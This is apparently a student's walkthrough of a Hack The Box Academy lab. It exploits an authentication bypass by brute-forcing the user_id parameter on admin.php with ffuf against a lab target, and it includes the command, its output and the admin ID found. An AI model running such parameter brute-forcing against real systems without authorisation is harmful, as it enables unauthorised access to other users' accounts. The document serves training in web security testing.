Authentication Bypass via Parameter Modification
An authentication implementation can be flawed if it depends on the presence or value of an HTTP parameter, introducing authentication vulnerabilities. As in the previous section, such vulnerabilities might lead to authentication and authorization bypasses, allowing for privilege escalation.
This type of vulnerability is closely related to authorization issues such as Insecure Direct Object Reference (IDOR) vulnerabilities, which are covered in more detail in the Web Attacks module.
Parameter Modification
Let us take a look at our target web application. This time, we are provided with credentials for the user htb-stdnt. After logging in, we are redirected to /admin.php?user_id=183:

In our web browser, we can see that we seem to be lacking privileges, as we can only see a part of the available data:

To investigate the purpose of the user_id parameter, let us remove it from our request to /admin.php. When doing so, we are redirected back to the login screen at /index.php, even though our session provided in the PHPSESSID cookie is still valid:

Thus, we can assume that the parameter user_id is related to authentication. We can bypass authentication entirely by accessing the URL /admin.php?user_id=183 directly:

Based on the parameter name user_id, we can infer that the parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the Brute-Force Attacks sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the user_id parameter.
Final Remark
Note that many more advanced vulnerabilities can also lead to an authentication bypass, which we have not covered in this module but are covered by more advanced modules. For instance, type juggling leading to an authentication bypass is covered in the Whitebox Attacks module, how different injection vulnerabilities can lead to an authentication bypass is covered in the Injection Attacks and SQL Injection Fundamentals modules, and logic bugs that can lead to an authentication bypass are covered in the Parameter Logic Bugs module.
Exercise
TARGET: 154.57.164.83:32696
Authenticate to target with username "htb-stdnt" and password "AcademyStudent!"
Challenge 1
Apply what you learned in this section to bypass authentication to obtain the flag.
Discovery
The first thing we need to do is to see how an authenticated normal user session looks like and what the response consists of:


- Note we are not given admin data, so in order to get the flag we need to target the
adminuser.- Instead we are shown:
Could not load admin data
- Instead we are shown:
- Also note that this dashboard shows that there are 350 users so a 3-digit number for IDs seems logical.
The request and response looks as follows (through Burp proxy):

The response more closely:
HTTP/1.1 302 Found
Date: Wed, 08 Apr 2026 20:56:17 GMT
Server: Apache/2.4.59 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin.php?user_id=183
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
- Note we are redirected to
/admin.php?user_id=183once we logged in with the correct password for thehtb-stdntuser.
But we want the admin view, so lets see what happens when we just visit /admin.php directly like we were doing in Authentication Bypass via Direct Access:

- We are immediately redirected to
/index.php - Thus, we can assume that the parameter
user_idis related to authentication. We can bypass authentication entirely by accessing the URL/admin.php?user_id=183directly, but that is not the session we are looking for, we wantadmin!
Exploitation
The parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the Brute-Force Attacks sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the user_id parameter.
Since we are not exactly given ID number boundaries other than that there are 350 users, I will just look at the user_id=183 and say that the user IDs are of maximum 3-digit numbers. The first step is to build a wordlist with all the possibilities for a 3 digit number:
┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ seq 0 999 > user_ids.txt
- In this case I will not use the
-woption to pad the numbers with less than 3 digits with 0s, since my intuition tells me that these suer IDs are just implemented with a simple integer counter, and therefore should not have prepending 0s.
Afterward, we can use the following command to brute-force the correct userd_id that will allow us to see admin data:
┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ ffuf -w user_ids.txt -u http://154.57.164.83:32696/admin.php?user_id=FUZZ -fr "Could not load admin data"
- Note that we are filtering out responses the contain the string:
Could not load admin data, since those would be of no use.
Output:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://154.57.164.83:32696/admin.php?user_id=FUZZ
:: Wordlist : FUZZ: /home/macc/htb/broken_authentication/user_ids.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Could not load admin data
________________________________________________
0 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 126ms]
372 [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 120ms]
:: Progress: [1000/1000] :: Job [1/1] :: 269 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
- We get 2 hits!
- The first one is
user_id=0, which is probably a defaultuser_idthat does not actually disclose admin info (it may redirect to/index.php) - The second one is
user_id=372which actually returns a 200 response
Lets verify in our browser which one of those two user_ids would let us see admin info. Trying user_id=372 (the most probable one since it returns a 200 response):
http://154.57.164.83:32696/admin.php?user_id=372

- So
user_id=372was the one!
flag: HTB